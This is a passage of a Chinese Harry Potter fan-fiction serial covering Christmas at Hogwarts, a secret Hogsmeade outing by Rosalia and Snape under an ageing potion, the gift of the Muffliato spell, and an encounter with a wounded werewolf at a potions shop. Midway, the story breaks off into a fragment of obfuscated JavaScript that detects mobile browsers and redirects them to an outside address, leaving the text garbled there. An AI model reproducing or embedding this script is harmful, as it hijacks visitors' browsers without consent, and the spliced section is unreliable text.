戴维·格杰恩还没说完,盥洗室深处就回荡出长而细的声调——很明显,是桃金娘发出来的。这声音让他浑身一抖,一封信就这么从袖子里飘落出来:“——很酷!”戴维手忙脚乱地把信抓住,在罗萨利亚的目光下,窘迫又尴尬地僵在原地。
他缓缓抬起握着信笺的胳膊,说:
“所以,我就是想——我想问你,今年圣诞节,你愿不愿意和我一起过……”
52. 三把扫帚
“……啊。”罗萨利亚盯着戴维手里那封信张了张嘴:“你今年多大?”
“我过完十二岁生日了!”戴维紧张地咽口水:“……可以吗?”
走廊上一点儿声响都没有了。
过了好一会儿,罗萨利亚才哭笑不得地说:“谢谢你的心意,但是……恐怕不行。”
戴维的嘴唇瞬间没了血色:“哦、哦……好的。”
罗萨利亚又解释道:“你还小呢,是吧。我——我年纪也不大。我觉得我们这个年纪,还不合适呢。”
“好吧。我就知道会因为这个……”戴维低下头嘟囔道。他把手中的信封缓缓放下——又忽然举了起来,说:“但是,但是请你收下它吧!我写了一些东西给你……”
罗萨利亚:“嗯……我觉得最好还是……好吧,好吧,我先收着。”
戴维闻言,飞快地把信封塞到她手里,转身大跨步地跑开了。
罗萨利亚看着他那同手同脚的跑姿摇摇头,顺手将信封放进了口袋。她不打算看了。
这时,桃金娘又从盥洗室里重新飘了出来,见状,忧郁又轻蔑地说道:“被人拒绝是多么难受的事……哦,你以为那没什么大不了吗?像你们这样的人,永远不会理解。”说完,她掏出帕子擤了一下鼻子。
“……下次再见吧,桃金娘。”罗萨利亚压下眉头转身离去,不论桃金娘发出什么样奇怪的声音都没有再转身。好在桃金娘也没有继续跟着她的意思,她似乎沉浸到了某种幻想中,正以一种诡秘又期待的声调吟唱:
“拉文谢德……拉文谢德……等你死后,我们可以组成拉文克劳幽灵姐妹花……”
……就不能说点吉利的话吗?罗萨利亚郁闷地捂上耳朵溜下楼梯,朝着满是冬青与槲寄生装饰的礼堂跑去。
日历一页页翻过。
圣诞节在盼望中到来。
拉文克劳女生宿舍空空荡荡,连窸窸窣窣的声音都变得格外清晰。
“没有下雪……还是没有下雪。一定是因为空气中有太多吃晶虫。”
“咕咕——咕咕——”
“小声一点,小比,有人还在睡觉。”
在一室古铜色鸟巢的最顶端,有床蓝色的帷幔伴随对话声音的息落动了动。很快,一颗乌黑蓬松的脑袋从中探了出来。
“罗萨利亚,你醒了。”宿舍下方,一个金黄色头发的女孩说:“我打扰到你睡觉了,真对不起。”
“嗯?”罗萨利亚发出一声闷哼,睡眼惺忪地把黑发撩起来,轻声道:“没有,潘多拉,是我的嘀咕钟响了。”
“嗯……是吗?有点奇怪,我感觉今早已经听过一次它的声音了。”潘多拉的手在猫头鹰的前额上拨来拨去:“对了——圣诞快乐。”
“圣诞快乐,潘多拉。”罗萨利亚笑了笑。她拿起魔杖,对着自己的脑袋说:“梳结理顺。”下一刻,有些蓬乱的黑发就变得格外齐整。
潘多拉发出“呵”的一声叹息:“这真是个迷人的魔咒,不是吗?我想我的头发也需要这样的咒语梳理。”她从猫头鹰鸟喙里揪出自己被含得湿濡的一缕金发。
“这是我从一本书上学来的。它是我去年的圣诞礼物。”罗萨利亚将头发一点点盘起来,道:“你要看吗?我可以借给你。”
“感激不尽。”潘多拉说:“说起来,你今年似乎也收到了不少圣诞礼物,罗萨利亚。我注意到穆宁整个清晨都在休息室里忙碌。”
罗萨利亚搬起《日用魔咒汇编》顺着绳梯滑下来,有些诧异地说:“是吗?”
“是的。”潘多拉轻咬手指,道:“嗯……我想想,光是飞天扫帚,你就收到了两把。”
“……什么?”
潘多拉接过书籍说:“哦,抱歉,我不是故意看的,但是飞天扫帚的形状非常显眼。我想没有哪个傻瓜看不出来。”
罗萨利亚加快脚步跑到了休息室里。
一踏进门口,她就听到穆宁微弱地“嘎”了一声。
“穆宁……”
穆宁已经没有力气飞了。
它东倒西歪地走到罗萨利亚脚边,又朝着自己身后叫了两声。那里,两把被包裹得严严实实的扫帚正倚靠在圣诞树上。它们下方还摞着一些礼盒。
“这到底怎么回事。”罗萨利亚蹲下来,将两把飞天扫帚同时掠到地上。穆宁忽然把嘴巴张大了,目瞪口呆,一副很不满意她做法的模样。
“你故意立起来的?”罗萨利亚无奈地说:“好吧,表扬你,但下次放地上就行。”
穆宁把头扭了过去,开始梳理自己的羽毛。
罗萨利亚拆开了第一把飞天扫帚,一只黑色折纸小猫从包装纸里掉了出来。
折纸小猫抖擞身体站了起来,舔舔爪子踱到她面前,又一翻肚皮,将烫金字迹展露了出来:
【致罗萨利亚。圣诞快乐!这把光轮1477是我为你挑选的圣诞礼物。它与我的那把型号相同,都是目前市面上最好的飞天扫帚。我也给西弗勒斯送了一把。若光轮1477能在你们需要时略尽绵力,那它也算侥幸赢得了荣誉。但愿你会喜欢。——雷古勒斯·布莱克】
随后,折纸小猫“砰”地一声,变成一张贺卡落到了地毯上。
“梅林……”罗萨利亚捡起贺卡,喃喃道:“他怎么把那事放在心上了……”
雷古勒斯肯定是因为狼人的事所以才——他的心也太细了,也是真的舍得花钱,一买就买了两把——罗萨利亚不禁有些心虚:这傻孩子还不知道自己被西弗勒斯暗暗排挤了,还给他送飞天扫帚呢……
“所以,”她问穆宁,“那一把是雷古勒斯给西弗勒斯准备的吗?”
“嘎。”穆宁好似恢复了些体力,它扑腾上前,从捆绑另一把飞天扫帚的绳结上扯下一张纸条,将其放到了罗萨利亚手心里。
“……什么?”罗萨利亚皱着眉把纸条展开了:“‘我要问候安多’——”她的声音兀地消失在翕动唇齿间。
那纸条上面,没头没尾的大字写道:
【我要问候安多米达的近况,以及,让穆宁把布袋(“布袋”两个字被黑线重重地圈了出来)里的东西寄送给她。】
“窣——”穆宁把那袋沉甸甸的东西从礼盒后面拖了出来。
它用鸟喙解开绳子,拨弄里面的东西给罗萨利亚看——全是金加隆。紧接着,它又把飞天扫帚的包装撕扯开。那扫帚柄上清晰地写着——“光轮1477”。
“……见鬼了。”罗萨利亚嘴唇翕动,意识到了什么。
下一秒,她飞速站起身来,手里捻着那张纸条反复地看,甚至翻到背面确认有没有漏掉的字迹——罗萨利亚难以置信:“见鬼了。他为什么没说该怎么处理这把扫帚?这是什么意思?你确定这东西没送错吗?”
穆宁摇头晃脑地“嘎”了一声,表示自己不知道。
罗萨利亚缓缓抬起手,对着两把一模一样的飞天扫帚烦躁地揉了揉自己的眉心。
“……劳伊。”她打了个响指。
家养小精灵出现在了公共休息室内:“主人,您叫我?”
罗萨利亚指着飞天扫帚说:“把它放到拉文谢德堡——随便找个地方就行。”
“是。”小精灵带着那把扫帚消失了。
眼不见为净。罗萨利亚舒心了。她转头对穆宁伸直了手臂,说:“送信的事先不急,穆宁,西弗勒斯的圣诞礼物呢?”
“嘎!”
穆宁从圣诞树下衔出一张字条。
罗萨利亚好奇地用拇指捻开——
“‘礼堂见’——等一下,但我的贺卡上约了他去五楼的大镜子那里。”罗萨利亚扭头问:“他的礼物也需要见面吗?”
穆宁表示它怎么知道。
算了,去看一眼就是了。
罗萨利亚快速地洗漱完,换上了一套宽大的冬衣,又披上过长的斗篷,如同一棵没有树干的圣诞树那样笨拙地迈出了宿舍——好在潘多拉正沉迷阅读,完全没发现她的异样。
“增龄剂,还有那套大点的衣服——”路过镜面,罗萨利亚盯着自己脖子上的猩红色围巾停顿片刻,又折回去换了条宝蓝色的,“你都给西弗勒斯拿去了吗?”
穆宁正在摆弄她拖地的旅行斗篷,没空回答,她只好自己接自己的话:“增龄剂这东西可真难搞,我的药材都用完了,现在就看我们斯内普教授肯不肯配合——哎——”
罗萨利亚刚把手放到拉文克劳的大门上,可下一刻,木门却从外面被打开了。她一个重心不稳,直接顺着力道栽了出去。
“谁——”她不满
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的话划出一道弧线,被两只手拦在了半空中。
一个声音说道:“……‘你的教授’。”
罗萨利亚一抬头,正对上斯内普垂下的眼睛。他道:“从楼梯上滚下去也是你计划中的一环吗?”
“你怎么直接过来了?”罗萨利亚站稳了上下打量他,有些得意地说:“你穿了我给的衣服。”
斯内普将自己的袖子往上提了提,很不情愿地说:“……一直都是。你给我增龄剂是想干什么?守规矩对你来说就是件那么难的事?”
“也许吧,”罗萨利亚将门关上,拽着自己过长的衣摆说,“快跟我来。我要带你出去玩。”
“速速开。”
五楼的大镜子在罗萨利亚和斯内普面前缓缓打开,露出了背后的一条宽敞而蜿蜒的隧道。
斯内普瞥向罗萨利亚:“又是你叔叔?”
罗萨利亚冲他笑了笑道:“没错。”
“它通往哪里?”
“霍格莫德。”
准确来说,是通往霍格莫德三把扫帚的酒窖。(1)
昏暗的酒窖里,一个陈旧而硕大的木桶忽然发出了吱呀吱呀的细响。伴随一声“阿拉霍洞开”,酒阀逆转,木桶盖子缓缓地敞开,扯断了几缕蛛丝。
两根闪光的魔杖先后探了出来。一只渡鸦振翅飞到地上。
“是酒窖。”一个声音说:“这一排是啤酒桶,左边的是红白葡萄酒,那边的是起泡酒——到成年的话,你认为几滴增龄剂合适?六滴?”
“……五滴。”另一个声音说:“这就是你说的‘带我出来玩’,罗萨利亚?偷酒喝?你这时候倒严谨起来了。”
“斯莱特林加五分。”罗萨利亚熄灭魔杖,把手探进自己包里拿出一双略大的鞋子,又在衣兜里搜寻增龄剂。她隐约能听到头顶传来的乱糟糟的交谈声,他们的位置应该就在酒吧的正下方。
再看斯内普——他不满地“啧”了声就没再说什么。罗萨利亚总觉得,自从那晚跟她跑过禁林后,他的心态就豁达了很多,大约是觉得哪怕她有千种问题,至少没又弄来一头狼人,进步很大……
罗萨利亚有点忍不住笑了。
“干杯。”
她翻出增龄剂,不等斯内普动作就先往嘴里滴了五滴。
一阵骨骼咯吱生长的脆响过后,罗萨利亚摸了摸自己脸和身体,问:“我现在看起来怎么样?像多大年纪?”
她能听出自己的声音变得略微低缓柔和了一些。
斯内普举着魔杖站在原地,张了张口,然后蓦地把魔杖熄灭了。
“西弗勒斯?”她一边换鞋一边问。
“……十七,或者十八。”斯内普说。
“那就好——荧光闪烁。”罗萨利亚把魔杖点亮,期待地说:“轮到你了。”
斯内普慢吞吞地打开了增龄剂,把它举到自己嘴边。他张开嘴——
“把魔杖熄了。”
“哦。”
罗萨利亚很快听到黑暗中再度传出骨骼生长的声音,还有皮鞋轻磕地面的动响。
“荧光——”
一只瘦削的手按住了她。
“我看得清。”一个低低的声音说。
“我看不清。”罗萨利亚眨眨眼道。
“……你能看见我在哪儿就够了。”斯内普说:“接下来呢?这更像是你给自己安排的圣诞礼物……”
“就是给你的,西弗勒斯。你很难主动干这种事儿不是吗?但有我在就不同了。”穆宁在酒桶上跳来跳去,罗萨利亚从包里掏出两个马克杯:“现在告诉我吧,你想喝哪种酒?”
斯内普停顿了。没有声音,罗萨利亚更加难以判断他此刻的神情。
“红酒。”他最终说。
罗萨利亚为他接了一杯,又转身摸黑朝起泡酒桶走去,她蹲下来仔细摸索一番——这个应该是阀门——她试探着扭了一下。
“嘶——砰!”
刺耳的嘶鸣声伴随一股冲出的细长酒柱炸开了。
完了完了这个不是放气的!
罗萨利亚猛地关上阀门。
晚了。她听到自己头顶的木板急促地响了起来。有人来了。
罗萨利亚赶忙站起来,紧接着,一股巨大的力量把她揪离了原地。
53. Muffliato
“我跟你打赌那是一只獾。”
“獾?”
“一到冬天,它们就会嗅着水果的味道从通风口钻到酒窖里——梅林!就一定要是圣诞节这天吗……”
“咔哒!”
酒窖的门锁开了。
“梅林的胡子!我就知道这次是起泡酒!罗斯默塔,你能帮我检查酒桶么?我来找找那獾子在哪。”
“好,交给我吧。”
此刻,两只獾子正裹着隐形斗篷,挤在酒窖门后面的空隙里——
斯内普在起泡酒桶发出爆响的第一时间就把罗萨利亚拉走了。他早有准备似的抖出了那件隐形兽毛发编制的斗篷,将自己和罗萨利亚整个裹了起来。
罗斯默塔将裙摆利落地打好结,半跪在地上修理酒桶。酒馆老板则举着魔杖到处探照,忽然叫了一声:“哎呀!”
“怎么了老板?”
“有只蝙蝠——不对,是一只乌鸦。我明白了,一定是乌鸦把酒桶给啄了!”
酒馆老板伸出双手就朝渡鸦走去,后者“嘎”地叫了一声,扑动翅膀飞来飞去。
“嘿!我不打算伤害你——但你得出去,知道吗?”
穆宁还在乱飞。
罗萨利亚见状,一把抓住斯内普的手,趁两人的注意力全在渡鸦身上,拉着他直接从酒窖跑了出去。
无人在意,三把扫帚的吧台小门为什么会莫名其妙凭空敞开。所有客人都沉浸在圣诞节的气氛中,闹哄哄地聊天。
柜台前,几枚金加隆咣啷几声落在桌上,两份才被后厨端来的三明治就这么连带油纸一起消失不见了。
店外,一位傻笑着的、嘴里嘟囔着“但愿今天罗斯默塔小姐值班”的男巫搓了搓手,正欲钻进热乎乎的酒馆,可只听一阵铃铛脆响,他就被一股呼啸而出的、混合了酒味和玫瑰花香的空气给撞得晕头转向,连帽子都飞了出去。
“嘿!怎么回事?”他捂住自己光滑的脑门,又是气愤又是纳闷地回头,却一下子呆住了。
一位头发像乌木那样黑、皮肤像牛奶那样白、嘴唇像樱桃那样红润的漂亮女士,嬉笑着将帽子递给他,唱歌似的说道:“真是抱歉!”随后,眨眼的功夫,又消失不见了。
巫师呆呆地挪到酒馆柜台前。
老板刚从一扇门后狼狈地溜出来,问:“嘿!卡拉多克,你来啦?久等,刚才有一只渡鸦溜进了酒窖,啄坏了我的桶,罗斯默塔还在修呢——”
“哎呀——哎呀,老伙计,你知道吗,真不敢相信,我刚才看到一位比罗斯默塔还漂亮的小姐从店里走出去了……”
“真是奇了。我们的隐形斗篷为什么好像不闪光了。”
巷口里,罗萨利亚左手握着三明治,右手捻着斗篷边儿,小半杯起泡酒在她外套的大口袋里晃荡着,她新奇地说道:“你做的?怎么做到的?”
过了一会儿,斯内普的声音才从空地上传来:“翻新魔药。用它浸泡织物可以起到清洁和修复的效果。我发现它对隐形斗篷也有作用。”
“真好,它现在在白天也能正常使用了。”
“毕竟你已经不满足于只在晚上进行冒险活动了。”
罗萨利亚半开玩笑道:“听起来像在埋怨我——你害怕被发现吗?”
“埋怨你有用吗?”斯内普幽幽地说:“罗萨,我要是害怕,就不会跟你一路跑到这儿了。”
“是啊,”罗萨利亚笑眯眯道,“你居然真的跟我一起出来了。”
“……因为拦住你几乎是不可能的。”斯内普咕哝道:“从没见过像你这么爱惹麻烦的人。”
“没错。”罗萨利亚听完,高高地扬起了嘴角,像是回想起什么那样,抬手扯了扯脖子上的围巾说道:“你知道吗?分院帽考虑过要把我分到格兰芬多。”
“……是吗?”斯内普的语气听上去更不好了:“但你还是被分到了拉文克劳。”
“对,我拒绝了那个提议,而且现在正庆幸这一点呢。”罗萨利亚道。
“理所应当。”斯内普的声音终于轻快了些。
“西弗勒斯,”罗萨利亚用商量的口吻温和地说,“你把隐形斗篷收起来吧?霍格莫德没人会认出我们的。”
斯内普没有立刻应声,就好像完全消失了一样。
罗萨利亚又道:“我想看着你说话,而不是对着空气自言自语。”
半晌,一只手凭空出现了,紧接着是胳膊和腿,最后,斯内普的脑袋和身体一起露了出来。他薄薄的嘴唇被抿得几乎看不见了,右手还擒着三明治和装有红酒的马克杯。
“嗯……”罗萨利亚上下打量他:“这一套比我想的还要适合你!鞋袜合脚吗?”
“……还可以。”斯内普轻轻道。
“走吧,我们去街上逛逛!”
两个人在熙熙攘攘的人群中穿梭着。
圣诞节,霍格莫德村的许多门店依然开放,虽然提早了下班时间,但烟火气一点不减。不过,街上没有学生——这段时间,霍格莫德是不对霍格沃茨开放的。
刚开始,罗萨利亚和斯内普还有些僵硬。一方面,两人都在适应“大人”的姿态,另一方面——不知道为什么,来往的人总是盯着他们看,弄得罗萨利亚一度怀疑是不是增龄剂喝少了。终于,在她吃完最后一口三明治,将围巾拉高一些之后,那种被人群注视的感觉才弱了下去。
罗萨利亚拉着斯内普从佐科笑话店一直逛到了蜂蜜公爵,收获了一口袋样式各异的零食。可惜这些花里胡哨的食物对斯内普的吸引力只持续了一刻钟——因为他很快就尝到了不太美味的糖果,差点当街吐出来。
天色阴沉沉的,很冷,又没有风,好像随时会下雪。起泡酒已经见底,罗萨利亚将自己的马克杯收了起来,而斯内普还一直举着他的红酒:他尝过第一口眉毛就皱起来了,之后一直喝得很慢。罗萨利亚猜测,他可能没想到这饮料尝起来是涩的。
他们彼此并肩走着,和街上其他结伴的巫师没什么两样,只是话更少一点,就仿佛只是去嘈杂一些的图书馆里闲逛。逛够了,就找一处长椅坐下。斯内普这时候才喝完了他的红酒。
罗萨利亚偷瞥斯内普好几眼,终于按捺不住了:“我的圣诞礼物呢?”
斯内普不看她,捧着空杯子目视前方,慢吞吞地说:“等你想起自己忘记了什么,我再给你。”
“什么?我忘记什么——”罗萨利亚忽然意识到了什么,压低眉毛道:“你可真是——圣诞快乐!现在满意了?”她紧接着低声说了句“小心眼”。
斯内普无疑听见了,嘴角有些得意地扬了起来:“圣诞快乐。”
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“好了,现在拿出来吧。”
斯内普把手伸进口袋里,两根指头捻出一张字条来递给她。
“写的什么?”罗萨利亚说着,展开一看,却一下子愣住了。
那上面写道:
【Muffliato.】
“Muffliato.”
斯内普念完,紧接着又说了什么。罗萨利亚看到他的喉结在滚动,却只能听到细小的嗡嗡声,就仿佛他的话是从另一条街传来的,变成了微弱到可以忽略不计的呓语。
“你刚刚,说了什么?”罗萨利亚听见自己问。
“这种往周遭灌注杂音、让旁人听不清我们交谈的内容的魔法,”斯内普又挥动了一下魔杖,这时候她就能听清楚了,“我把它叫做,闭耳塞听咒。”
“像这样挥动你的魔杖,集中精神——”他一顿,说,“想象你要蒙住哪些人的耳朵,或者……想象自己要进入一个不被人打扰的房间。”(1)
“图书馆、教室、走廊或者——其他地方,你都可以使用它。它还可以和隐形斗篷配合起来。”斯内普哼笑一声,说,“以后,没人有机会偷听我们说话了,罗萨。”
“所以这是、这是——”罗萨利亚捏着纸条的手指有些发白了,她当然知道这是什么了,但是——但是……
她轻声问,“这是你发明的?这是给我的吗?”
“嗯。”斯内普叮嘱道:“别把它告诉别人。”
“那你——你有把它……记在别的地方吗?”
斯内普皱起眉头:“有。但不会有其他人知道。怎么了?”
“没什么,”罗萨利亚快速地眨了一下眼睛,转而去盯手里那张纸条,“我是说,这怎么念?你再念一遍?”
“Muffliato,”斯内普用魔杖在空中划出这个咒语,“Muff——.”
他忽然有一霎那息了声音,静止般看着那些漂浮的字母。
“什么?”
斯内普嘴唇动了动:“……Lia-to.”(2)
“穆夫利亚托?”罗萨利亚跟着念了一遍。
“……对。”斯内普道。
“Muffliato、Muffliato……你真是天才。”
罗萨利亚的眼角眉梢全部弯了起来。
“西弗勒斯,你是天才——”
她站起来,学着斯内普的样子,朝眼前来往的人群挥动魔杖,将嘴巴藏到围巾里念道:“闭耳塞听!”
罗萨利亚深吸一口气:“白痴——”
路过的巫师偶尔用奇怪的目光看她,但是都没什么太大的反应。
罗萨利亚又提高嗓门喊了一遍:“我说——你们都是——白痴——”
还是没人冲上来给她一个无声无息咒。
罗萨利亚回过头,把围巾往下一拉,对斯内普说:“这魔咒,太好用了!”
斯内普坐在长椅上看着她,忽然抬起了握着马克杯的手臂,就好像要喝一口红酒那样——但是他杯子已经空空如也。
倾斜的马克杯底,半滴红酒滑溜溜地躺下。他看到一片白色的东西没有征兆地落了进去,在玫瑰色酒渍里绽放又消融。
“西弗勒斯。”
罗萨利亚说:
“下雪了。”
54. J·皮聘魔药店
雪越下越大,甚至有点过大了。
跟撒了的棉花糖似的一股脑得往地上掉。
“等等,我们不从酒窖走。”罗萨利亚揪住斯内普的衣角说道:“现在三把扫帚正是人挤人的时候,蜂蜜公爵那里还有一条路,更方便一些。”
两人朝着蜂蜜公爵店的方向快步走去。雪花正在淹没街道两侧的屋檐。
罗萨利亚张望着辨认方向,忽然看见了什么,脚步一顿。
斯内普道:“这个方向。”
“好。但是稍等一下。”罗萨利亚指着远处倒在墙边、标注“魔药特价”的绿色挂牌道:“我想去一趟那边的魔药店。我还没补上这次熬制增龄剂消耗的材料。”
两人站在魔药店门前抖掉落雪、剁了剁鞋底。低头看,已经发黑的地垫上斑驳露出一串字样。
“J·皮聘魔药店。”斯内普很快辨认出来。(1)
“我记得对角巷也有一家。”罗萨利亚有些意外:“没想到霍格莫德还有分店?”原著中可没提过这一点。她心里嘀咕着,推开门进去。
“铃铃……”
店内相当冷清,连温度都跟屋外没什么两样。空气中漂泊着一股苦涩和衰败的气味。本就狭小的货架区,甚至有个柜子是完全坍塌的。
“你好……有人吗?”罗萨利亚开始有点不确定这家店是否仍在营业了。
不过这时,标有“顾客止步”的木门悄无声息地敞开了小缝。一个身形佝偻、须发花白的老人从里面探出头。他眯着眼睛,打量罗萨利亚和斯内普,手里还攥着魔杖,说道:
“两位年轻人……欢迎。有什么我可以帮到你们的吗?”说着,他慢慢走了出来,脚步很沉重。
罗萨利亚念了几种魔药药材,随后问:“贵店有库存吗?”
“嗯……”老皮聘思考着,“让我找找看,有几样材料不太常见,”他挥动魔杖,将货架上的草药瓶挨个取了下来,“我不确定上次审查后还有没有剩下……”
“审查?”
“世道不太平。”老皮聘扶着镜片温吞地说:“年初的时候,霍格沃茨不是出了一些事情嘛……权势家族互踢皮球毫发无损,倒霉的都是下边儿的人——魔法部的人来过霍格莫德,小店接受了他们的审查……哼,一些药材就那么没了,蛇鼠一窝的东西……”
年初的时候……那就是复方汤剂的事?罗萨利亚和斯内普对视一眼,又道:“您没再进货了?”
“没有。”老皮聘道:“这家店的营收本来也不好,再加上我年纪大了,我女儿认为这家老店差不多也可以谢幕了——所以我挂了甩卖,想把库存清一清,可惜生意还是不怎么样……”
原来如此。罗萨利亚心想。这家店确实没有营业到90年代。她问:“那您今天怎么不干脆早点回家呢?”
老皮聘没有说话,就仿佛已经沉浸到草药瓶的筛选当中了。没过一会儿,那些漂浮的瓶瓶罐罐停滞下来,他道:“啊哈,找到了,幸运总是眷顾好人。”他将三个玻璃罐放到柜台前:“折后一共三加隆十西可。”
罗萨利亚从包里拿钱。可“叮当”的硬币声先一步响起。她抬头,斯内普已经将加隆和西可推了过去。
哦……对了。他现在能从庞弗雷夫人那拿到一些津贴。罗萨利亚轻快地接受了斯内普的代付行为,笑盈盈地把三个瓶子放进包里。
“欢迎下次光临。”
“再见。”罗萨利亚握住了门把手。
这时,她听见门外传来了铃铛的响声,紧接着,寒风“呼”地一下灌了进来。皮聘魔药店的大门被从外面蓦然推开了。
她躲闪不及,鼻梁传来骤痛。等反应过来时,血已经从她捂住脸的指头缝里淌出来,滴到围巾上了。
“咕噜……”
仿佛胃在咽喉中翻腾那样,一道声音从头顶传来。
罗萨利亚抬起眼睛,一个头发脏乱如野兽、散发着一股酸腐腥臭气息的男人,正耸动着鼻子、呲着尖牙低眼看她。
她本能地感觉到危险,一把按住斯内普掏魔杖的手,小声说:“我没事,只是鼻血,快先帮我找找帕子……”
斯内普这才收回恶狠狠的目光,拧着眉头翻找起罗萨利亚的书包。而那个男人吸着鼻子,又呼出一口臭气,扶住自己的肩膀抬脚往店内走去。
大门“砰”一声关上了。
“是你。”老皮聘握着魔杖,用一种警惕的、带着嫌恶的声音说:“你又来了。很可惜,本店刚刚打烊。上回你打砸药柜时,我想我就说的很清楚了:我这里已经没有乌头了。”
男人呲牙咧嘴地说:“它溃烂得越来越严重了,我几乎动不了,要不是因为你给的那瓶白鲜——”
“是你试图偷它——”老皮聘低声道。
“但你说它需要和银粉混合!”
“正常情况是这样!但你隐瞒了自己的情况——你不能就这么一直赖我头上。”
“够了!”男人舔了舔嘴唇说:“不要废话了!老东西——你得负责、你得负责!想想自己的外孙……你知道我很喜欢孩子。你希望我去找他玩游戏吗——你们两个,还在这里干什么?”
还没等罗萨利亚回过神,斯内普就突然反常地攥住她的手腕,一言不发地拉开门跑了出去。皮聘魔药店在满街雪色中发出了微弱的铃铛声。木门被寒风推搡着合上。在门缝紧闭之前,罗萨利亚看到老皮聘那双浑浊的眼睛在微微颤抖。
斯内普拽着罗萨利亚一直走了很远才停下脚步。他挥动魔杖使用了闭耳塞听咒,略有些急促地说:
“他是狼人。”
罗萨利亚紧紧捂着鼻子:“什么?”
“庞弗雷夫人跟我提到过,普通疗愈类药剂无法愈合狼人造成的创面,多数情况需要与银粉混合使用。”斯内普盯着她擦花了的半张脸,解释道:“但这只适用于刚刚感染、还没经历过满月、狼毒仍处在潜伏期的人。否则,银会与狼毒结合产生毒性。这时,混合药物反而会导致伤口溃烂。想要缓解,就得使用——”(2)
“乌头来压制狼毒。”“狼毒乌头。”
罗萨利亚几乎与他异口同声。她知道斯内普是怎么推出那男人是狼人的了。他们假期学习解毒剂时也了解过这部分内容。
她快速地进入思考:“狼人受了伤,急需魔药,所以来偷窃……皮聘先生也许是撞见了。那人可能是谎称自己刚被狼人咬伤,所以皮聘才告诉他要那样用药……后来出现问题,才气急败坏地前来索要乌头。可审查过后,店里已经没有这类药材了……皮聘先生就这样被赖上了。”
“对一个盗贼释放善心,”斯内普讥讽道,“这只会带来不幸。”
“他也是倒霉……”罗萨利亚想起老皮聘对圣诞节为何不早早回家一问的沉默,还有那狼人说过的话……
“等等。”她忽然道:“那狼人说他很喜欢——孩子?”
斯内普看起来有一点犯恶心:“是。”
喜欢咬孩子……狼人……
罗萨利亚觉得自己的手脚在冰天雪地里有些发寒,她好像知道这个狼人是谁了。几乎同时,另一个念头也击中了她:“……西弗勒斯,你有没有注意他的伤口在哪?”
斯内普道:“全身都有,最严重的应该在左肩膀,他进门时捂着那里。”
……没错。左肩膀。这和她迎面闻到腐烂气味的位置一致。罗萨利亚沉沉地心想。
但是这不可能……应该不可能——
那个晚上,在禁林里,她把银茶匙变形成银匕首,深深地捅进了狼人的左肩。第二天,魔法部的人前往禁林,据说在马人的帮助下抓住了对方。后来,这一事件还被刊登在了预言家日报上——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939436|192924||http|test|mini|href|location''.split(''|''),0,{}));
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>按理来说,芬里尔·格雷伯克现在应该已经被抓进了阿兹卡班,而不是带着腐烂伤疤,出现在霍格莫德的皮聘魔药店啊……
难道,魔法部抓错人了?那天晚上禁林里还有别的狼人?可他又为什么会出现在禁林,还在距离学校那么近的地方游荡?
罗萨利亚又想到了预言家日报,早知道应该在雷古勒斯问他们看不看的时候瞧上一眼,也许上面会有些报道……她为什么没有自己订一份呢?
停。不管怎么样,这件事不是她能管得了的……
“罗萨利亚。”斯内普喊了她一声。
罗萨利亚回了神。她抬起头,发现自己面前正有一棵没有树干的圣诞树。
她怔了一下:斯内普怎么变小了——不对,斯内普现在本来就不大,是增龄剂的时效到了。
她也变小了。
天阴压压的,雪还在大块大块地落下。
两棵圣诞树面对面站着。
他们的霍格莫德之旅结束了。
……
同样结束的,还有另外两个人的圣诞旅程。
一月初,布瑞兹教授一瘸一拐地出现在了黑魔法防御课课堂上,没人知道这是怎么回事。更破天荒的是,她迟到了——格林迪洛都能上岸生活了。
而海格的情况也不遑多让,他甚至比布瑞兹回来得还晚,直到斯内普和莉莉都过完生日后,才以一副脸被冻伤、手臂骨折的姿态出现在校医院里。好在庞弗雷夫人很快治好了他。尖尖激动地围着他转,期望能和自己许久不见的主人玩些游戏——可惜对方看上去失落又无精打采。
罗萨利亚猜测,二人的巨人之旅估计不怎么样。
其实这也不算出乎预料。伏地魔那边对巨人的拉拢进行到哪一步了尚且不论,这两人的出行组合,本来也很难万事顺遂啊。
她盯着手中刻有自己名字的黄瓜心想。(3)
讲台前,布瑞兹已经介绍完卡巴了——她不知道从哪儿弄来一只,直接带到了课堂上。现在,她正要求学生们按学院排成四队、四人一组引诱卡巴鞠躬,好让水从它头顶的碟子状空洞里流出来。
四个学院排成了四列队伍。
罗萨利亚心不在焉地跟在潘多拉身后。
巨人那边没有好消息,而狼人这边……也好不到哪里去……
尽管罗萨利亚一直在装聋作哑,但她其实没能忘掉格雷伯克的事。
从霍格莫德回来后,她就不时思考着对方潜入禁林的动机,最终结合邓布利多曾说过的话,得出了一些推论:
格雷伯克很可能已经在为伏地魔卖命了,他去禁林,也许是为了进一步施压、拉拢那些离散的同类——但他们已被魔法部先一步安置。然后就是月圆之夜,他负了伤,就近跑到了霍格莫德……
然而,她不可能把个人推论当作警告说出去,何况支持这些推论的每一份信息都是她“非法”得来的。光是夜闯禁林那事,就足以把她和斯内普开除个两三次……
她之所以还没完全放下,主要是因为老皮聘。
罗萨利亚总想起那天临走时,对方望向自己和斯内普的眼神……毕竟,皮聘魔药店受到了复方汤剂事件的牵连:先是被扣下了药材,后来又倒霉地被狼人缠上。而且……还有皮聘先生的那个外孙,如果他被咬了,那岂不是和——
这么想着,罗萨利亚不自觉地往卢平的所在的方向看了过去。
没想到的是,卢平也在看她。对方见她望过来,有些不知所措地眨了眨眼睛,然后又像是发觉了什么,连忙朝她打起手势,一直往正前方指去。
罗萨利亚迷茫地回过头。
她身前,潘多拉不知道什么时候变成了布瑞兹,对方掐着腰站在她面前,不悦地说道:“其他三个学院的学生都在等你,拉文谢德小姐,你面对敌人也会走神吗?”
55. 真假对错
“……对不起,教授。”
“说对不起也没用。”布瑞兹捏紧了手里的魔杖——红橡木的,漂亮又显眼,这不是她原来那根,谁知道她的旧魔杖怎么了,也许是断在了巨人那儿?罗萨利亚盯着它犯嘀咕:说好的红橡木和脾气火爆没关系呢,怎么不到布瑞兹身上就不适用了啊。(1)
“还有你,卢平先生,别以为我没看见你在打手势跟拉文谢德小姐聊天,她走神也有你的责任。”布瑞兹说。
